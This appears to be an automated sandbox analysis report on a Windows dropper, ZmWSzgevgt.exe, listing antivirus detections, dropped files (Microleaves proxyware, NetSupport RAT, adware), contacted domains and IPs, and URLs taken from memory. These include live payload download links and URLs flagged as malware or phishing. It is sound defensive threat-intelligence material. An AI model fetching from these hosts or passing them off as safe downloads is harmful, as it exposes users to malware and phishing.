Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZmWSzgevgt.exe	30%	ReversingLabs	Win32.Trojan.OffLoader
ZmWSzgevgt.exe	100%	Avira	TR/Downloader.Gen

Dropped Files

Source	Detection	Scanner	Label
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	100%	Avira	PUA/Microleaves.A
680af9.rbf (copy)	0%	ReversingLabs
680aff.rbf (copy)	0%	ReversingLabs
680b04.rbf (copy)	54%	ReversingLabs	Win64.PUA.AdvWinMan
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	44%	ReversingLabs	Win64.Trojan.Microleaves
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\Windows Updater.exe	5%	ReversingLabs
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\decoder.dll	0%	ReversingLabs
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	54%	ReversingLabs	Win64.PUA.AdvWinMan
C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-92M1P.tmp	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-9GOQR.tmp	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-J9JTN.tmp	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-KD7U9.tmp	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-PML8F.tmp	0%	ReversingLabs
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\078630d72d217d4d9885ece5b71fe988.tmp	6%	ReversingLabs
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2041dcc7124af9419b0b672e9d7171f7.tmp	5%	ReversingLabs
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\4120bfd883d24a4daf0a8db223a7081f.tmp	0%	ReversingLabs
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp	5%	ReversingLabs
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\5d7fc0667d8a0e48a42ebd70bdd0c76a.tmp	17%	ReversingLabs
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\cd2f845e419388478df81bc59730a20b.tmp	22%	ReversingLabs	Win32.PUA.Netsupportrat
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\d98380e50ba80f4fa3adba0346158290.tmp	0%	ReversingLabs
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e6adbd27df47824481105a18183e1d5e.tmp	3%	ReversingLabs
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f88670462385d642bd8a486306392759.tmp	3%	ReversingLabs
C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part	27%	ReversingLabs	Win32.Trojan.Microleaves
C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	59%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\INAF75B.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIF8B5.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIF9EE.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-0270L.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-53US7.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	83%	ReversingLabs	Win32.Trojan.Mamson
C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a3.exe	30%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-53US7.tmp\idp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi135F.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi13CD.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shiF808.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shiFA87.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shiFB53.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe	65%	ReversingLabs	Win32.Adware.RedCap
C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll	0%	ReversingLabs
C:\Windows\Installer\MSI10B0.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI11F9.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1239.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1259.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI12C7.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1336.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1DA7.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1E63.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1E83.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1F30.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1F60.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI1FDF.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI208C.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI232D.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI234D.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5BA4.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5BF3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5C23.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5C43.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5C73.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5D6E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5DCD.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5E0C.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6929.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6A82.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6AB2.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6BEB.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6CC8.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6CE8.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6D86.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6DC5.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6E53.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6E83.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6EA3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6ED3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6F03.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6F32.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6F72.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI703E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI71C6.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI731E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI735E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI738E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI73CD.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI73FD.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI743D.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7F4A.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7F89.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://ocsp.suscerte.gob.ve0	0%	URL Reputation	safe
http://crl.dhimyotis.com/certignarootca.crl0	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0	0%	URL Reputation	safe
http://crl.ssc.lt/root-c/cacrl.crl0	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.suscerte.gob.ve/dpc0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
https://www.remobjects.com/ps	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?	0%	URL Reputation	safe
http://crl.ssc.lt/root-b/cacrl.crl0	0%	URL Reputation	safe
http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G	0%	URL Reputation	safe
https://wwww.certigna.fr/autorites/0m	0%	URL Reputation	safe
http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0	0%	URL Reputation	safe
http://www.globaltrust.info0	0%	URL Reputation	safe
http://ac.economia.gob.mx/last.crl0G	0%	URL Reputation	safe
http://crl.oces.trust2408.com/oces.crl0	0%	URL Reputation	safe
http://certs.oaticerts.com/repository/OATICA2.crl	0%	URL Reputation	safe
http://certs.oati.net/repository/OATICA2.crt0	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://crl2.postsignum.cz/crl/psrootqca4.crl01	0%	URL Reputation	safe
http://web.ncdc.gov.sa/crl/nrcaparta1.crl	0%	URL Reputation	safe
http://www.acabogacia.org0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://www.agesic.gub.uy/acrn/acrn.crl0)	0%	URL Reputation	safe
http://www.rcsc.lt/repository0	0%	URL Reputation	safe
http://certs.oaticerts.com/repository/OATICA2.crt08	0%	URL Reputation	safe
http://ambadevgroup.info/load/1509/promo.exe~	0%	Avira URL Cloud	safe
http://mysoftwareusa.info/stats/3/0/0	100%	Avira URL Cloud	malware
https://dl.likeasurfer.com/updates/v113.exe&	0%	Avira URL Cloud	safe
http://sidemark.xyz/	0%	Avira URL Cloud	safe
https://www.innosetup.com/	0%	Avira URL Cloud	safe
http://ambadevgroup.info/load/1509/promo.exet	0%	Avira URL Cloud	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	100%	Avira URL Cloud	malware
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1658&a=2598&dn=416&spot=7&t=1	0%	Avira URL Cloud	safe
http://ambadevgroup.info/load/1509/promo.exeD	0%	Avira URL Cloud	safe
https://sizestep.online/tracker/thank_you.php?trk=2598	100%	Avira URL Cloud	phishing
http://send.planewool.xyz/track_polos.php?tim=1701869569&rcc=US&c=2598&p=0.9	100%	Avira URL Cloud	phishing
https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701869569c	0%	Avira URL Cloud	safe
http://mysoftwareusa.info/archives/7	100%	Avira URL Cloud	malware
http://mysoftwareusa.info/stats/3/1/0	100%	Avira URL Cloud	malware
http://sparksteam.site/	100%	Avira URL Cloud	malware
http://mysoftwareusa.info/archives/5	100%	Avira URL Cloud	malware
https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=17018695697	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1627&a=2598&dn=286&spot=1&t=1701869569	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
https://www.hulkisbulish.com/updates.txt	0%	Avira URL Cloud	safe
https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic	0%	Avira URL Cloud	safe
https://allroadslimit.com/	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1661&a=2598&dn=419&spot=3&t=1	0%	Avira URL Cloud	safe
https://www.inlogbrowser.com/pp.txt	0%	Avira URL Cloud	safe
https://repository.tsp.zetes.com0	0%	Avira URL Cloud	safe
https://advancedmanager.io/eula	0%	Avira URL Cloud	safe
https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i	100%	Avira URL Cloud	malware
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1666&a=2598&dn=428&spot=6&t=	0%	Avira URL Cloud	safe
https://false.apparelsilver.xyz/	0%	Avira URL Cloud	safe
http://ambadevgroup.info/load/1509/promo.exea62	0%	Avira URL Cloud	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://dl.likeasurfer.com//	0%	Avira URL Cloud	safe
http://sparksteam.site/Q	100%	Avira URL Cloud	malware
http://sparksteam.site/pill.phpSm	100%	Avira URL Cloud	malware
http://.css	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1658&a=2598&dn=416&spot=7&t=	0%	Avira URL Cloud	safe
https://dl.likeasurfer.com/7	0%	Avira URL Cloud	safe
http://www.agenment.clo	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=331&a=2598&dn=244&spot=2&t=17	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1662&a=2598&dn=420&spot=5&t=	0%	Avira URL Cloud	safe
http://send.planewool.xyz/track_uki.php?tim=1701869569&rcc=US&c=2598&p=0.92	100%	Avira URL Cloud	phishing
http://.jpg	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1627&a=2598&dn=286&spot=1&t=1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sparksteam.site	104.21.52.223	true	true	unknown
send.planewool.xyz	104.21.90.147	true	true	unknown
geo.netsupportsoftware.com	51.142.119.24	true	false	high
accounts.google.com	172.253.115.84	true	false	high
sidemark.xyz	104.21.73.195	true	true	unknown
myptofgrtulo.info	95.142.47.11	true	true	unknown
allroadslimit.com	104.21.74.109	true	false	unknown
axsboe-campaign.com	172.67.213.153	true	true	unknown
ambadevgroup.info	37.1.198.251	true	true	unknown
kapetownlink.com	159.223.29.40	true	true	unknown
www.agenment.cloud	185.23.108.224	true	false	unknown
pstbbk.com	157.230.96.32	true	true	unknown
collect.installeranalytics.com	54.165.38.232	true	false	high
dl.likeasurfer.com	104.21.32.100	true	false	unknown
www.google.com	172.253.63.105	true	false	high
part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	unknown
false.apparelsilver.xyz	172.67.198.151	true	true	unknown
clients.l.google.com	142.251.111.100	true	false	high
c.msn.com	unknown	unknown	false	high
111.t.keepitpumpin.io	unknown	unknown	true	unknown
clients2.google.com	unknown	unknown	false	high
114.t.keepitpumpin.io	unknown	unknown	true	unknown
110.t.keepitpumpin.io	unknown	unknown	true	unknown
ecn.dev.virtualearth.net	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high
clients1.google.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
113.t.keepitpumpin.io	unknown	unknown	true	unknown
www.msn.com	unknown	unknown	false	high
aefd.nelreports.net	unknown	unknown	true	unknown
231005002055611.bcn.lca62.shop	unknown	unknown	true	unknown
login.microsoftonline.com	unknown	unknown	false	high
112.t.keepitpumpin.io	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mysoftwareusa.info/stats/3/0/0	true	Avira URL Cloud: malware	unknown
https://clients1.google.com/tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000006416C752B8	false		high
http://geo.netsupportsoftware.com/location/loca.asp	false		high
https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	true	Avira URL Cloud: malware	unknown
http://mysoftwareusa.info/archives/5	true	Avira URL Cloud: malware	unknown
http://mysoftwareusa.info/archives/7	true	Avira URL Cloud: malware	unknown
http://mysoftwareusa.info/stats/3/1/0	true	Avira URL Cloud: malware	unknown
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1627&a=2598&dn=286&spot=1&t=1701869569	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ambadevgroup.info/load/1509/promo.exet	setup.tmp, 00000004.00000002.4546268057.0000000000831000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s/testpage.htmwininet.dll	wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	false	Avira URL Cloud: safe	low
http://www.certplus.com/CRL/class3.crl0	a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.suscerte.gob.ve0	a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ambadevgroup.info/load/1509/promo.exe~	setup.tmp, 00000004.00000002.4546268057.0000000000831000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.dhimyotis.com/certignarootca.crl0	a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0	a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2318044040.00000000043EF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317443500.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.chambersign.org1	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://%s/testpage.htm	wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	false	Avira URL Cloud: safe	low
http://repository.swisssign.com/0	a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dl.likeasurfer.com/updates/v113.exe&	Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0	a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ssc.lt/root-c/cacrl.crl0	a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ca.disig.sk/ca/crl/ca_disig.crl0	a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.suscerte.gob.ve/dpc0	a1.exe, 00000014.00000003.2317424410.00000000043E7000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/logo/	chromecache_658.19.dr	false		high
https://microleaves.com/privacy-policyc	a1.exe, 00000014.00000003.2312873578.00000000043CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.disig.sk/ca/crl/ca_disig.crl0	a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sidemark.xyz/	ZmWSzgevgt.tmp, 00000001.00000002.4546318478.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	ZmWSzgevgt.exe, 00000000.00000003.2006403390.0000000002560000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2006775395.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000000.2008194649.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-1L53Q.tmp.7.dr	false	URL Reputation: safe	unknown
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1658&a=2598&dn=416&spot=7&t=1	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.innosetup.com/	ZmWSzgevgt.exe, 00000000.00000003.2006403390.0000000002560000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2006775395.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000000.2008194649.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-1L53Q.tmp.7.dr	false	Avira URL Cloud: safe	unknown
https://sizestep.online/tracker/thank_you.php?trk=2598	ZmWSzgevgt.tmp, 00000001.00000003.2010247622.0000000003490000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4550403877.000000000242C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ambadevgroup.info/load/1509/promo.exeD	setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://send.planewool.xyz/track_polos.php?tim=1701869569&rcc=US&c=2598&p=0.9	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://d157kf58cz5ccb.cloudfront.net/dcc.exe	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pki.registradores.org/normativa/index.htm0	a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701869569c	setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.com0	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.anf.es/es/address-direccion.html	a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://advancedmanager.io/eula	setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://microleaves.com/terms-and-conditions	MSI80A7.tmp.21.dr	false		high
https://www.anf.es/address/)1(0&	a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sparksteam.site/	ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000098D000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.000000000098D000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.0000000000961000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000096B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=17018695697	setup.tmp, 00000004.00000002.4546268057.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ssc.lt/root-b/cacrl.crl0	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.certicamara.com/dpc/0Z	a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G	a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wwww.certigna.fr/autorites/0m	a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.anf.es/AC/ANFServerCA.crl0	a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://repository.tsp.zetes.com0	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1	wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
http://www.globaltrust.info0	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.hulkisbulish.com/updates.txt	v113.exe, 00000020.00000003.2567036448.000000000275D000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2730463369.00000000013C4000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2737590571.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000002.2751901417.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2734012036.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2561830112.000000000134F000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2649322052.00000000013C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
